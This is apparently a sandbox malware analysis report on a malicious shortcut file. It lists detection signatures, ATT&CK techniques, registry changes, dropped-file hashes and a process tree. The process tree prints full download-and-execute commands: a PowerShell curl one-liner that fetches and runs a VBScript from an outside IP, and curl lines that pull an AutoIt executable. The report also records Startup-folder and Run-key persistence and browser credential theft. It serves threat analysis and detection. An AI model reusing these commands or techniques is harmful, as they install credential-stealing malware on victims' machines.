6ddcb5e5e2f6289b2b80f94891007414049d124ea1591cecaf71ac7c57eae0ab

Analysis

max time kernel
298s
max time network
302s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260911-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260911-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
27/10/2026, 07:19

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
doc848816_pdf.lnk
Size 1KB
Sample261027-h5x9lab19p
SHA256 6ddcb5e5e2f6289b2b80f94891007414049d124ea1591cecaf71ac7c57eae0ab
MD5 62cc066c1b4096f45b2895eb77ed8296
SHA1 447dafab2840c9b657c8ce9b3538bdbcd48aba8b
SHA512 823084ad66794afbdccd51a625d8a1adac33c9d4a55b18acdd29ac5ae5d6cae11e626dd3299fbbceabb5394fcf65b85c523c570d316b6535bd0b8c89622e9319
TLSH
T1A431CC2417F00329F6B69A3F68B6F721AA72BD04FE668F8F1140014A5C54612E9B1F2B
MD5 SHA1 SHA512 TLSH

Score

8^/10

adware defense_evasion discovery execution persistence privilege_escalation spyware stealer

Malware Config

Signatures

Downloads MZ/PE file 2 IoCs

flow	pid	Process
16	4464	svc97dce7fa9f.exe
8	5236	curl.exe

Creates a file in the Startup directory 1 TTPs 2 IoCs

A file was written to a Windows startup folder. Files in these directories are executed automatically when a user logs on or an application initializes.

persistence privilege_escalation

Registry Run Keys / Startup Folder

T1547.001

description	ioc	Process
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\svc97dce7fa9f.lnk	wscript.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\svc8D85Dh.lnk	svc97dce7fa9f.exe

Executes dropped EXE 3 IoCs

pid	Process
4464	svc97dce7fa9f.exe
3304	svc97dce7fa9f.exe
1156	svc8D85Dh.exe

Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Credentials from Web Browsers
T1555.003

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-650287814-2715975232-1279715623-1000\Software\Microsoft\Windows\CurrentVersion\Run\WUDFHostSvc = "regsvr32.exe /s \"C:\\152053b53a03\\svc97dce7fa9f\\svc97dce7fa9f.exe\""	svc97dce7fa9f.exe

Checks for any installed AV software in registry 1 TTPs 1 IoCs

Security Software Discovery

T1518.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\avast! Antivirus	svc97dce7fa9f.exe

Looks up external IP address via web service 1 TTPs 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

discovery

Internet Connection Discovery

T1016.001

flow	ioc
1	ip-api.com

Executes a VBScript file via the Windows Script Host. 1 TTPs 1 IoCs

execution

Visual Basic

T1059.005

pid	Process
5356	wscript.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
5816	powershell.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Executes a command shell one-liner 1 TTPs 1 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
3968	cmd.exe

Reads the TCP/IP host and domain name from the registry 1 TTPs 4 IoCs

The configured hostname and DNS domain identify the machine and are commonly collected to profile a host before it reports in.

discovery

System Network Configuration Discovery

T1016

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname	svc97dce7fa9f.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname	wscript.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain	wscript.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain	svc97dce7fa9f.exe

Checks processor information in registry 2 TTPs 4 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\Registry\Machine\HARDWARE\DESCRIPTION\System\CentralProcessor\0	OUTLOOK.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	OUTLOOK.EXE
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	OUTLOOK.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	OUTLOOK.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	OUTLOOK.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	OUTLOOK.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	OUTLOOK.EXE

Kills process with taskkill 4 IoCs

defense_evasion

pid	Process
6116	taskkill.exe
5764	taskkill.exe
2428	taskkill.exe
1316	taskkill.exe

Modifies Control Panel 1 IoCs

defense_evasion

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-650287814-2715975232-1279715623-1000\Control Panel\Colors	svc97dce7fa9f.exe

Modifies Internet Explorer settings 1 TTPs 9 IoCs

adware spyware

Modify Registry

T1112

description	ioc	Process
Set value (int)	\REGISTRY\USER\S-1-5-21-650287814-2715975232-1279715623-1000\Software\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_BROWSER_EMULATION\svc97dce7fa9f.exe = "11001"	svc97dce7fa9f.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-650287814-2715975232-1279715623-1000\Software\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_BROWSER_EMULATION\rundll32.exe = "11001"	svc97dce7fa9f.exe
Key created	\REGISTRY\USER\S-1-5-21-650287814-2715975232-1279715623-1000\Software\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_NINPUT_LEGACYMODE	svc97dce7fa9f.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-650287814-2715975232-1279715623-1000\Software\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_NINPUT_LEGACYMODE\svc97dce7fa9f.exe = "0"	svc97dce7fa9f.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-650287814-2715975232-1279715623-1000\Software\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_NINPUT_LEGACYMODE\rundll32.exe = "0"	svc97dce7fa9f.exe
Key created	\REGISTRY\USER\S-1-5-21-650287814-2715975232-1279715623-1000\Software\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_GPU_RENDERING	svc97dce7fa9f.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-650287814-2715975232-1279715623-1000\Software\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_GPU_RENDERING\svc97dce7fa9f.exe = "1"	svc97dce7fa9f.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-650287814-2715975232-1279715623-1000\Software\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_GPU_RENDERING\rundll32.exe = "1"	svc97dce7fa9f.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-650287814-2715975232-1279715623-1000\Software\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_BROWSER_EMULATION\OUTLOOK.EXE = "10001"	OUTLOOK.EXE

Modifies registry class 29 IoCs

description	ioc	Process
Set value (data)	\REGISTRY\USER\S-1-5-21-650287814-2715975232-1279715623-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\1\MRUListEx = ffffffff	svc97dce7fa9f.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-650287814-2715975232-1279715623-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\2\Shell\SniffedFolderType = "Documents"	svc97dce7fa9f.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{A0953C92-50DC-43bf-BE83-3742FED03C9C}\Instance\	svc97dce7fa9f.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{d3162b92-9365-467a-956b-92703aca08af}\Instance\	svc97dce7fa9f.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{A8CDFF1C-4878-43be-B5FD-F8091C1C60D0}\Instance\	wscript.exe
Key created	\REGISTRY\USER\S-1-5-21-650287814-2715975232-1279715623-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU	svc97dce7fa9f.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-650287814-2715975232-1279715623-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\1\NodeSlot = "2"	svc97dce7fa9f.exe
Key created	\REGISTRY\USER\S-1-5-21-650287814-2715975232-1279715623-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags	svc97dce7fa9f.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{1CF1260C-4DD0-4ebb-811F-33C572699FDE}\Instance\	svc97dce7fa9f.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{088e3905-0323-4b02-9826-5d99428e115f}\Instance\	svc97dce7fa9f.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{24ad3ad4-a569-4530-98e1-ab02f9417aa8}\Instance\	svc97dce7fa9f.exe
Key created	\REGISTRY\USER\S-1-5-21-650287814-2715975232-1279715623-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\1	svc97dce7fa9f.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-650287814-2715975232-1279715623-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\NodeSlots = 0202	svc97dce7fa9f.exe
Key created	\REGISTRY\USER\S-1-5-21-650287814-2715975232-1279715623-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\2\Shell	svc97dce7fa9f.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{374DE290-123F-4565-9164-39C4925E467B}\Instance\	svc97dce7fa9f.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{3ADD1653-EB32-4cb0-BBD7-DFA0ABB5ACCA}\Instance\	svc97dce7fa9f.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{4336a54d-038b-4685-ab02-99bb52d3fb8b}\Instance\	svc97dce7fa9f.exe
Key created	\REGISTRY\USER\S-1-5-21-650287814-2715975232-1279715623-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell	svc97dce7fa9f.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-650287814-2715975232-1279715623-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\MRUListEx = 0100000000000000ffffffff	svc97dce7fa9f.exe
Key created	\REGISTRY\USER\S-1-5-21-650287814-2715975232-1279715623-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\2	svc97dce7fa9f.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{3dfdf296-dbec-4fb4-81d1-6a3438bcf4de}\Instance\	svc97dce7fa9f.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-650287814-2715975232-1279715623-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\NodeSlots = 02	svc97dce7fa9f.exe
Key created	\REGISTRY\USER\S-1-5-21-650287814-2715975232-1279715623-1000_Classes\NotificationData	svc97dce7fa9f.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{B4BFCC3A-DB2C-424C-B029-7FE99A87C641}\Instance\	svc97dce7fa9f.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{A8CDFF1C-4878-43be-B5FD-F8091C1C60D0}\Instance\	svc97dce7fa9f.exe
Key created	\REGISTRY\USER\S-1-5-21-650287814-2715975232-1279715623-1000_Classes\Local Settings	svc97dce7fa9f.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-650287814-2715975232-1279715623-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\MRUListEx = 00000000ffffffff	svc97dce7fa9f.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{f86fa3ab-70d2-4fc7-9c99-fcbf05467f3a}\Instance\	svc97dce7fa9f.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-650287814-2715975232-1279715623-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\1 = 14001f481cffcda87848be43b5fdf8091c1c60d00000	svc97dce7fa9f.exe

Suspicious behavior: AddClipboardFormatListener 1 IoCs

pid	Process
4328	OUTLOOK.EXE

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
5816	powershell.exe
5816	powershell.exe
4464	svc97dce7fa9f.exe
4464	svc97dce7fa9f.exe
4464	svc97dce7fa9f.exe
4464	svc97dce7fa9f.exe
4464	svc97dce7fa9f.exe
4464	svc97dce7fa9f.exe
4464	svc97dce7fa9f.exe
4464	svc97dce7fa9f.exe
4464	svc97dce7fa9f.exe
4464	svc97dce7fa9f.exe
4464	svc97dce7fa9f.exe
4464	svc97dce7fa9f.exe
4464	svc97dce7fa9f.exe
4464	svc97dce7fa9f.exe
4464	svc97dce7fa9f.exe
4464	svc97dce7fa9f.exe
4464	svc97dce7fa9f.exe
4464	svc97dce7fa9f.exe
4464	svc97dce7fa9f.exe
4464	svc97dce7fa9f.exe
4464	svc97dce7fa9f.exe
4464	svc97dce7fa9f.exe
4464	svc97dce7fa9f.exe
4464	svc97dce7fa9f.exe
4464	svc97dce7fa9f.exe
4464	svc97dce7fa9f.exe
4464	svc97dce7fa9f.exe
4464	svc97dce7fa9f.exe
4464	svc97dce7fa9f.exe
4464	svc97dce7fa9f.exe
4464	svc97dce7fa9f.exe
4464	svc97dce7fa9f.exe
4464	svc97dce7fa9f.exe
4464	svc97dce7fa9f.exe
4464	svc97dce7fa9f.exe
4464	svc97dce7fa9f.exe
4464	svc97dce7fa9f.exe
4464	svc97dce7fa9f.exe
4464	svc97dce7fa9f.exe
4464	svc97dce7fa9f.exe
4464	svc97dce7fa9f.exe
4464	svc97dce7fa9f.exe
4464	svc97dce7fa9f.exe
4464	svc97dce7fa9f.exe
4464	svc97dce7fa9f.exe
4464	svc97dce7fa9f.exe
4464	svc97dce7fa9f.exe
4464	svc97dce7fa9f.exe
4464	svc97dce7fa9f.exe
4464	svc97dce7fa9f.exe
4464	svc97dce7fa9f.exe
4464	svc97dce7fa9f.exe
4464	svc97dce7fa9f.exe
4464	svc97dce7fa9f.exe
4464	svc97dce7fa9f.exe
4464	svc97dce7fa9f.exe
4464	svc97dce7fa9f.exe
4464	svc97dce7fa9f.exe
4464	svc97dce7fa9f.exe
4464	svc97dce7fa9f.exe
4464	svc97dce7fa9f.exe
4464	svc97dce7fa9f.exe

Suspicious behavior: GetForegroundWindowSpam 1 IoCs

pid	Process
3304	svc97dce7fa9f.exe

Suspicious use of AdjustPrivilegeToken 7 IoCs

description	pid	Process
Token: SeDebugPrivilege	5816	powershell.exe
Token: SeDebugPrivilege	4464	svc97dce7fa9f.exe
Token: SeDebugPrivilege	1156	svc8D85Dh.exe
Token: SeDebugPrivilege	2428	taskkill.exe
Token: SeDebugPrivilege	1316	taskkill.exe
Token: SeDebugPrivilege	6116	taskkill.exe
Token: SeDebugPrivilege	5764	taskkill.exe

Suspicious use of FindShellTrayWindow 22 IoCs

pid	Process
4464	svc97dce7fa9f.exe
4464	svc97dce7fa9f.exe
4464	svc97dce7fa9f.exe
4464	svc97dce7fa9f.exe
4464	svc97dce7fa9f.exe
4464	svc97dce7fa9f.exe
4464	svc97dce7fa9f.exe
1156	svc8D85Dh.exe
1156	svc8D85Dh.exe
1156	svc8D85Dh.exe
1156	svc8D85Dh.exe
1156	svc8D85Dh.exe
1156	svc8D85Dh.exe
1156	svc8D85Dh.exe
4328	OUTLOOK.EXE
4328	OUTLOOK.EXE
4328	OUTLOOK.EXE
4328	OUTLOOK.EXE
4328	OUTLOOK.EXE
4328	OUTLOOK.EXE
4328	OUTLOOK.EXE
4328	OUTLOOK.EXE

Suspicious use of SendNotifyMessage 21 IoCs

pid	Process
4464	svc97dce7fa9f.exe
4464	svc97dce7fa9f.exe
4464	svc97dce7fa9f.exe
4464	svc97dce7fa9f.exe
4464	svc97dce7fa9f.exe
4464	svc97dce7fa9f.exe
4464	svc97dce7fa9f.exe
1156	svc8D85Dh.exe
1156	svc8D85Dh.exe
1156	svc8D85Dh.exe
1156	svc8D85Dh.exe
1156	svc8D85Dh.exe
1156	svc8D85Dh.exe
1156	svc8D85Dh.exe
4328	OUTLOOK.EXE
4328	OUTLOOK.EXE
4328	OUTLOOK.EXE
4328	OUTLOOK.EXE
4328	OUTLOOK.EXE
4328	OUTLOOK.EXE
4328	OUTLOOK.EXE

Suspicious use of SetWindowsHookEx 6 IoCs

pid	Process
3304	svc97dce7fa9f.exe
4328	OUTLOOK.EXE
4328	OUTLOOK.EXE
4328	OUTLOOK.EXE
4328	OUTLOOK.EXE
4328	OUTLOOK.EXE

Suspicious use of WriteProcessMemory 18 IoCs

description	pid	Process	procid_target
PID 3968 wrote to memory of 5816	3968	cmd.exe	90
PID 5816 wrote to memory of 3124	5816	powershell.exe	91
PID 5816 wrote to memory of 5356	5816	powershell.exe	92
PID 5356 wrote to memory of 5236	5356	wscript.exe	94
PID 5356 wrote to memory of 4236	5356	wscript.exe	96
PID 4464 wrote to memory of 1156	4464	svc97dce7fa9f.exe	103
PID 1156 wrote to memory of 1460	1156	svc8D85Dh.exe	106
PID 1156 wrote to memory of 1460	1156	svc8D85Dh.exe	106
PID 1156 wrote to memory of 2428	1156	svc8D85Dh.exe	109
PID 1156 wrote to memory of 5584	1156	svc8D85Dh.exe	111
PID 1156 wrote to memory of 5584	1156	svc8D85Dh.exe	111
PID 1156 wrote to memory of 1316	1156	svc8D85Dh.exe	114
PID 1156 wrote to memory of 1848	1156	svc8D85Dh.exe	116
PID 1156 wrote to memory of 1848	1156	svc8D85Dh.exe	116
PID 1156 wrote to memory of 6116	1156	svc8D85Dh.exe	119
PID 1156 wrote to memory of 5496	1156	svc8D85Dh.exe	121
PID 1156 wrote to memory of 5496	1156	svc8D85Dh.exe	121
PID 1156 wrote to memory of 5764	1156	svc8D85Dh.exe	124

cURL User-Agent 3 IoCs

Uses User-Agent string associated with cURL utility.

description	flow	ioc
HTTP User-Agent header	3	curl/8.8.0
HTTP User-Agent header	8	curl/8.8.0
HTTP User-Agent header	9	curl/8.8.0

C:\Windows\system32\cmd.exe
cmd /c C:\Users\Admin\AppData\Local\Temp\doc848816_pdf.lnk
1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:3968
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -Command "& $env:SystemRoot\SysWOW64\curl.exe -s -k -L -o $env:TEMP\t.vbs http://68.178.200.56/?vbs=1; & wscript.exe $env:TEMP\t.vbs"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:5816
- - C:\Windows\SysWOW64\curl.exe
    "C:\Windows\SysWOW64\curl.exe" -s -k -L -o C:\Users\Admin\AppData\Local\Temp\t.vbs http://68.178.200.56/?vbs=1
    3⤵
    PID:3124
- - C:\Windows\system32\wscript.exe
    "C:\Windows\system32\wscript.exe" C:\Users\Admin\AppData\Local\Temp\t.vbs
    3⤵
    - Creates a file in the Startup directory
    - Executes a VBScript file via the Windows Script Host.
    - Reads the TCP/IP host and domain name from the registry
    - Modifies registry class
    - Suspicious use of WriteProcessMemory
    PID:5356
  - - C:\Windows\System32\curl.exe
      "C:\Windows\System32\curl.exe" -s -k -L -o "C:\152053b53a03\\svc97dce7fa9f\\svc97dce7fa9f.exe" "http://15.235.40.46:8181/api/autoit-exe?t=04b24e92f15d4601a521b040c1ee13b3"
      4⤵
      Downloads MZ/PE file
      PID:5236
  - - C:\Windows\System32\curl.exe
      "C:\Windows\System32\curl.exe" -s -k -L -o "C:\152053b53a03\\svc97dce7fa9f\\svc97dce7fa9f.dat" "http://15.235.40.46:8181/api/autoit-dat?t=04b24e92f15d4601a521b040c1ee13b3"
      4⤵
      PID:4236

C:\152053b53a03\svc97dce7fa9f\svc97dce7fa9f.exe
"C:\152053b53a03\\svc97dce7fa9f\\svc97dce7fa9f.exe" "C:\152053b53a03\\svc97dce7fa9f\\svc97dce7fa9f.dat"
1⤵
- Downloads MZ/PE file
- Creates a file in the Startup directory
- Executes dropped EXE
- Adds Run key to start application
- Checks for any installed AV software in registry
- Reads the TCP/IP host and domain name from the registry
- Modifies Internet Explorer settings
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
- Suspicious use of WriteProcessMemory
PID:4464
- C:\Users\Admin\AppData\Local\Microsoft\CLR_Data\svc8D85Dh\svc8D85Dh.exe
  "C:\Users\Admin\AppData\Local\Microsoft\CLR_Data\svc8D85Dh\svc8D85Dh.exe" "C:\Users\Admin\AppData\Local\Microsoft\CLR_Data\svc8D85Dh\svc8D85Dh.dat"
  2⤵
  - Executes dropped EXE
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of FindShellTrayWindow
  - Suspicious use of SendNotifyMessage
  - Suspicious use of WriteProcessMemory
  PID:1156
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --no-startup-window --window-position=-32000,-32000 --window-size=1,1
    3⤵
    PID:1460
- - C:\Windows\SYSTEM32\taskkill.exe
    "taskkill" /F /T /PID 1460
    3⤵
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:2428
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --no-startup-window --window-position=-32000,-32000 --window-size=1,1
    3⤵
    PID:5584
- - C:\Windows\SYSTEM32\taskkill.exe
    "taskkill" /F /T /PID 5584
    3⤵
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:1316
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --no-startup-window --window-position=-32000,-32000 --window-size=1,1
    3⤵
    PID:1848
- - C:\Windows\SYSTEM32\taskkill.exe
    "taskkill" /F /T /PID 1848
    3⤵
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:6116
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --no-startup-window --window-position=-32000,-32000 --window-size=1,1
    3⤵
    PID:5496
- - C:\Windows\SYSTEM32\taskkill.exe
    "taskkill" /F /T /PID 5496
    3⤵
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:5764

C:\152053b53a03\svc97dce7fa9f\svc97dce7fa9f.exe
C:\152053b53a03\svc97dce7fa9f\svc97dce7fa9f.exe
1⤵
- Executes dropped EXE
- Modifies Control Panel
- Modifies registry class
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious use of SetWindowsHookEx
PID:3304

C:\Program Files\Microsoft Office\Root\Office16\OUTLOOK.EXE
"C:\Program Files\Microsoft Office\Root\Office16\OUTLOOK.EXE" -Embedding
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Modifies Internet Explorer settings
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
- Suspicious use of SetWindowsHookEx
PID:4328

C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe
"C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"
1⤵
PID:2308

C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe
"C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"
1⤵
PID:4416

C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe
"C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"
1⤵
PID:2528

C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe
"C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"
1⤵
PID:5244

C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe
"C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"
1⤵
PID:2908

C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe
"C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"
1⤵
PID:3360

C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe
"C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"
1⤵
PID:1968

C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe
"C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"
1⤵
PID:4340

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Visual Basic

T1059.005

Windows Command Shell

T1059.003

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Defense Evasion

Modify Registry

T1112

Credential Access

Credentials from Password Stores

T1555

Credentials from Web Browsers

T1555.003

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Query Registry

T1012

Software Discovery

T1518

Security Software Discovery

T1518.001

System Information Discovery

T1082

System Network Configuration Discovery

T1016

Internet Connection Discovery

T1016.001

Lateral Movement

Collection

Data from Local System

T1005

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

clr_hc.dat

Path C:\152053b53a03\svc97dce7fa9f\clr_hc.dat
Size 16B
SHA256 22af0b4015103635d5482ceb2401cd306d56e02a11633e849bd48829d829965f
MD5 3ca2b3beaae5f25e7fad9b07ecd13c7a
SHA1 48beabb8e105f7505287c3ea593f58bf5c9664fc
SHA512 f68540c80f467b9420d9792c2df4105c56dfd06b8614602dcb1d4bd1d5df65386cc503e58cadf1a487f35c34eb29e0dc126bfb5f1774ccfd8be01dbfa976b203
MD5 SHA1 SHA512

Submit Download

svc97dce7fa9f.dat

Path C:\152053b53a03\svc97dce7fa9f\svc97dce7fa9f.dat
Size 1.6MB
SHA256 fcb0089de86de30745ee70744b85428cfcf893dd717f652cf577864f0469d1e3
MD5 22fa9a1963e84f5806e9289c7bbbb1ee
SHA1 f45b389c3a8304353eafd70961a3e51b3440a565
SHA512 a93a28828cd0e2ac59f989a3fdcba2841f3eb75d156c96733f524602517e5faafee2bb52340979a6cf15656e3163635d56a6d25c854737e3e65faf9a42c70c15
SSDEEP 49152:IVm4OLjXpsgSW9fHLFzyYPK4zc6Bof1IZ77:IVm4kNsgfFLFzBPRzcoWU77
TLSH
T1997533BC8F9BC4063CA77110A262DF39B0B2E11CF89B647575E42EAB6727B413111D6B
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

svc97dce7fa9f.exe

Path C:\152053b53a03\svc97dce7fa9f\svc97dce7fa9f.exe
Size 1.1MB
SHA256 5d69a932a077fee044b193c28e84564143f5c7e51079ab48e88fef74ab0b77b7
MD5 80cdd5f19d704a001589976bae277bab
SHA1 96bb030389ac938c5ebc6bd2e9fcc86a10e5f2fd
SHA512 03fbfd02d348c2b54af3eeb022ae2f1be4e4f9b30352ceb2c7589233275a914ec4fd81ff8c1544bebf96a87e28c75fd81811e658f092536367395048a82bf8fa
SSDEEP 24576:HsTBc4JYoji1a2gOI6fQJ77jkD1KV3wKct4frNFOB:MTC4a4p+E72SwRcrK
TLSH
T1DA356C0673A4419EFEA7F1329607C60BD6B17C4A07779A6F02646B626F337711A2E331
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

svc97dce7fa9f.exe.config

Path C:\152053b53a03\svc97dce7fa9f\svc97dce7fa9f.exe.config
Size 116B
SHA256 031c74c6f97d9ac1104f78f44b66af4eef341d8a60ed4b277cc2ffc337761063
MD5 900cef1b6577dfd3af38a1830ccd6ed6
SHA1 d72690fa44b91fd9064be24ce2d0c8f5e91206a2
SHA512 51c093901f6c523a3dec6e1990b4bffddd2760b0fca161f26ef12798455bdb77fb56bfae99c46490de5f99d8d7510213ba348475c51c73d931ce1f1c5dc9d239
TLSH
T1F7B09282696CE92385928B938BB402524B7B63854829104DECEF27B4410C0898307351
MD5 SHA1 SHA512 TLSH

Submit Download

.svcdns.dat

Path C:\Users\Admin\AppData\Local\.svcdns.dat
Size 128B
SHA256 2e855e48560660de19ba8ab78ca3d6c45bca1597764d7db6aae5918c5905e4b3
MD5 18a179aed8d3bf2ae7d480c68b42a795
SHA1 33bae5c7f988c6b13b8d3951a22ff8c1eb367b28
SHA512 5afa7a524f433d9d8018e7c5bc708bf1734b327f28eb509c3a94ebc3a3534e57068614c181c766222e225f86698fb967e74025c857fc34718ce74db77c1f7279
TLSH
T115B022808EAA032333BEB00208C20808E2B0A88033A02B0202020EA32EA88200C0A8A2
MD5 SHA1 SHA512 TLSH

Submit Download

.svchost.dat

